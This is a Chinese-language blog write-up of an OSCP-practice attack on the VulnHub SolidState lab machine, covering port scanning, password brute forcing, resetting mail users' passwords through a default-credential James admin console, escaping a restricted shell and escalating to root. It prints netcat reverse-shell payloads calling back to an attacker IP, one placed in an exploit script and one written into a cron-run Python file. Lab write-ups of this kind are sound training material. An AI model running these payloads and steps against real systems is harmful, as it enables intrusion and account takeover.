靶场实战(6):OSCP备考之VulnHub SolidState

admin 2024年1月3日17:13:59评论30 views字数 4353阅读14分30秒阅读模式

靶场官网:SolidState: 1[1]

实战思路:

  1. 主机发现 1

  2. 端口发现(服务、组件、版本) 1

  3. 漏洞发现(获取权限) 2

    1. 22端口/SSH服务 2

      1. 组件漏洞 2

      2. 口令漏洞 3

    2. 25端口/SMTP服务 4

      1. 组件漏洞 4

      2. 口令漏洞 4

    3. 4555端口/James-Admin服务 4

      1. 组件漏洞 4

      2. 口令漏洞 8

    4. 110端口/POP3服务 9

      1. 组件漏洞 9

      2. 口令漏洞 9

    5. 80端口/HTTP服务 12

      1. 组件漏洞 12

      2. URL漏洞(目录、文件) 13

  4. 越权提权 18

      1. 01、sudo 18

      2. 02、perm 18    

      3. 03、信息收集 20

      4. 04、cron

一、主机发现

本次攻击指定IP,不涉及主机发现过程。

二、端口发现(服务、组件、版本)

使用命令sudo -u root nmap 172.16.33.35 -n -Pn -p- --reason -sV -sC -O获得主机开放的端口、提供的服务、使用的组件、组件的版本。

靶场实战(6):OSCP备考之VulnHub SolidState

开放的端口

提供的服务

使用的组件

组件的版本

22/tcp

ssh

OpenSSH

7.4p1

25/tcp

smtp

JAMES smtpd

2.3.2

80/tcp

http

Apache httpd

2.4.25

110/tcp

pop3

JAMES pop3d

2.3.2

119/tcp

nntp

JAMES nntpd

?

4555/tcp

james-admin

JAMES Remote Admin

2.3.2

-        

os

Debian Linux

三、漏洞发现(获取权限)

22端口/SSH服务

组件漏洞

使用命令searchsploit OpenSSH 7.4,发现OpenSSH 7.4p1组件只有用户名枚举漏洞可以利用。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令searchsploit -m 45233将漏洞EXP复制到当前目录下。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令python2 45233.py -h查看EXP的参数,发现可以使用 --username USERNAME参数指定单个要枚举的用户名。

靶场实战(6):OSCP备考之VulnHub SolidState使用命令 python2 45233.py 172.16.33.35 --username 用户名枚举用户名,发现存在SSH用户rootjames

靶场实战(6):OSCP备考之VulnHub SolidState

口令漏洞

基于前面拿到的SSH用户名,使用命令hydra -L user.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt 172.16.33.35 ssh,未爆破出弱口令。

靶场实战(6):OSCP备考之VulnHub SolidState

25端口/SMTP服务

组件漏洞

使用命令searchsploit JAMES smtpd,未发现JAMES smtpd 2.3.2组件的Nday漏洞。但是使用命令searchsploit JAMES,可以发现2.3.2版本的James Server存在RCE漏洞。

靶场实战(6):OSCP备考之VulnHub SolidState

口令漏洞

基于前面拿到的SSH用户名,使用命令hydra -L user.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt 172.16.33.35 smtp,未爆破出弱口令。

靶场实战(6):OSCP备考之VulnHub SolidState

4555端口/James-Admin服务

组件漏洞

使用命令searchsploit -m 50347searchsploit -m 35513将EXP复制到当前目录,优先使用已被验证过的35513,因为未被验证的EXP可能存在删库或后门等恶意代码。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令python2 35513.py执行EXP,提示需要输入目标的IP地址。使用命令python2 35513.py 172.16.33.35执行EXP,提示payload投递成功,只要有人登录就会触发payload执行。

靶场实战(6):OSCP备考之VulnHub SolidState

等了一会没啥变化,想到payload应该是无害化的,需要我们自定义恶意代码,主要是反弹shell,于是使用命令cat 35513.py查看EXP内容。

靶场实战(6):OSCP备考之VulnHub SolidState

将EXP中的payload改为payload = 'nc -nv 10.8.0.110 1234 -e /bin/bash &'

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令python2 35513-shell.py 172.16.33.35重新执行EXP,使用命令nc -nvlp 1234监听反弹shell的端口,等待有人登录触发payload执行,等了一会还是没啥变化。

看来这个靶机没有设置定时任务来模拟“有人登录”的情况呀,那么这个Nday漏洞就有点鸡肋了,我要是都能登录SSH服务了,还会需要这个反弹shell?

靶场实战(6):OSCP备考之VulnHub SolidState

靶场实战(6):OSCP备考之VulnHub SolidState

口令漏洞

前面EXP使用账号root和密码root登录4555端口的James-Admin服务,看来这里使用了默认的账号密码。使用命令nc 172.16.33.35 4555连接James-Admin服务后,输入账号密码,成功登录。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令help查看James-Admin服务有什么功能,发现listusers功能可以查看用户账号,setpassword [username]

输入密码查看隐藏内容

功能可以修改用户密码,从而可以获得用户的账号密码,进而登录用户邮箱查看敏感信息。

靶场实战(6):OSCP备考之VulnHub SolidState

一不做二不休,把所有用户的密码都改了,后续逐一登录POP3服务,查看邮件里的敏感信息,看看能不能找到SSH服务的账号密码。

靶场实战(6):OSCP备考之VulnHub SolidState

110端口/POP3服务

组件漏洞

使用命令searchsploit JAMES pop3d,未发现JAMES pop3d 2.3.2组件的Nday漏洞。

靶场实战(6):OSCP备考之VulnHub SolidState

口令漏洞

既然前面已经修改过POP3服务的用户密码,这里就没必要爆破了。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令telnet 172.16.33.35 110连接POP3服务,使用命令USER 账号输入账号,使用命令PASS 密码输入密码,而从登录POP3服务。

使用命令LIST查看邮件数量,使用命令RETR 序号查看邮件内容,使用命令QUIT退出POP3服务。

靶场实战(6):OSCP备考之VulnHub SolidState

发现用户john的邮箱有一封邮件,但是没啥敏感内容。

靶场实战(6):OSCP备考之VulnHub SolidState

发现用户mindy的邮箱有两封邮件,原来是新员工入职,管理员通过邮件发送了SSH服务的账号mindy和密码P@55W0rd1!2@除此之外其它用户的邮箱都是空的,没有邮件。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令ssh [email protected]登录SSH服务后,发现命令行环境受限,是/bin/rbash,环境变量也不完整,只有家目录下的。

靶场实战(6):OSCP备考之VulnHub SolidState

重新使用参数-t "bash --noprofile"登录SSH服务,可以强制分配伪终端,从而解决命令行受限问题。

靶场实战(6):OSCP备考之VulnHub SolidState

80端口/HTTP服务

组件漏洞

使用命令searchsploit Apache httpd 2.4,未发现Apache httpd 2.4.25组件的Nday漏洞。

靶场实战(6):OSCP备考之VulnHub SolidState

使用Wappalyzer、FindSomething等插件识别网站组件,无有价值的收获。

靶场实战(6):OSCP备考之VulnHub SolidState

URL漏洞(目录、文件)

01、手动浏览

访问首页http://172.16.33.35/,在右上角的MENU处发现有3个页面:index.htmlservices.htmlabout.html。这三个页面引用了相同的Footer Section,里面包含Form表单,有SQLi和XSS的风险。

靶场实战(6):OSCP备考之VulnHub SolidState

首先测试XSS漏洞,输入特殊字符串abcdefg,在本次及后续请求的响应中,均未发现该特殊字符串,说明注入点没有回显,不存在XSS漏洞。

靶场实战(6):OSCP备考之VulnHub SolidState

然后测试SQLi漏洞,分别输入单引号和双引号的闭合,并使用时间盲注payloadand sleep(5)#,并未发现异常报错或延迟响应,说明可能不存在SQLi漏洞。

靶场实战(6):OSCP备考之VulnHub SolidState

02、目录扫描

使用命令dirb http://172.16.33.35/对网站目录和文件进行遍历,没有发现有价值的目录或文件。

靶场实战(6):OSCP备考之VulnHub SolidState

03、模糊测试

基于目前已知信息,没有对网站的目录和文件进行FUZZ的必要。

04、信息收集

前面在Firefox翻找网站的流量全都走Burp Suite代理,在Burp Suite中使用HaE插件,但未发现敏感信息泄露。

靶场实战(6):OSCP备考之VulnHub SolidState

四、越权提权

01、sudo

使用命令sudo -l查看mindy用户的特权命令,发现没有sudo命令,提权失败。

靶场实战(6):OSCP备考之VulnHub SolidState

02、perm

使用命令find / -perm -u=s -ls 2>/dev/null查看特权程序,发现不少可以提权的命令,例如/usr/bin/pkexec

靶场实战(6):OSCP备考之VulnHub SolidState

GTFOBins[2]搜索pkexec的提权命令:

靶场实战(6):OSCP备考之VulnHub SolidState

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令 sudo pkexec /bin/sh进行提权,提示没有sudo命令,提权失败。

靶场实战(6):OSCP备考之VulnHub SolidState

03、信息收集

使用命令ls -lacat 文件名,发现家目录下并无有价值的文件。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令ls -la /home/find /home/james/ -type f -ls 2>/dev/null,发现james的家目录下也无有价值的文件。

靶场实战(6):OSCP备考之VulnHub SolidState

04、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/nullfind /etc/*cron* -type f -ls 2>/dev/null,未发现计划任务,这有点反常。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令find /var/spool/cron/ -type f -lsfind /etc/*cron* -type f -ls不隐藏报错,发现一个查询是没有权限,一个查询是不支持通配符*

靶场实战(6):OSCP备考之VulnHub SolidState

逐个查询不支持通配符查询的计划任务文件,发现文件的other用户都是有read权限而无write权限。那可以看看这些计划任务文件中,是否引用了其它我们可以write的脚本文件,然后在那些脚本文件中写入提权代码来提权。

靶场实战(6):OSCP备考之VulnHub SolidState

逐个查看这些计划任务文件,未发现引用了其它我们可以write的脚本文件。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令find / -perm -0006 -type f ! -path "/proc/*" 2>/dev/null,查看是否存在other用户有read和write权限的脚本文件或可执行程序,并假设这些文件会被高权限用户的计划任务调用,从而通过在这些文件中写入提权代码来提权。

发现/opt/tmp.py脚本文件,内容是清空临时目录/tmp/*这种脚本文件很大概率会被作为计划任务执行,而非手动执行。那我们就看看运维人员是否粗心地用高权限用户的计划任务来调用这个脚本文件。

靶场实战(6):OSCP备考之VulnHub SolidState

在疑似高权限用户的计划任务中会调用的脚本文件/opt/tmp.py中写入提权代码(反弹shell)os.system('nc -nv 10.8.0.110 11135 -e /bin/bash &'),并在本地窗口执行命令nc -nvlp 11135等待计划任务执行。

靶场实战(6):OSCP备考之VulnHub SolidState

稍等一会就获得了反弹shell,查看权限发现是高权限用户root,提权成功。

靶场实战(6):OSCP备考之VulnHub SolidState

使用命令crontab -l查看root用户的计划任务,发现每3分钟就会执行一次python /opt/tmp.py命令,调用/opt/tmp.py脚本文件来清空临时目录/tmp/*

靶场实战(6):OSCP备考之VulnHub SolidState

参考资料

[1]

SolidState: 1: https://www.vulnhub.com/entry/solidstate-1,261/

[2]

GTFOBins: https://gtfobins.github.io/

原文始发于微信公众号(OneMoreThink):靶场实战(6):OSCP备考之VulnHub SolidState

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日17:13:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场实战(6):OSCP备考之VulnHub SolidStatehttps://cn-sec.com/archives/2360262.html

发表评论

匿名网友 填写信息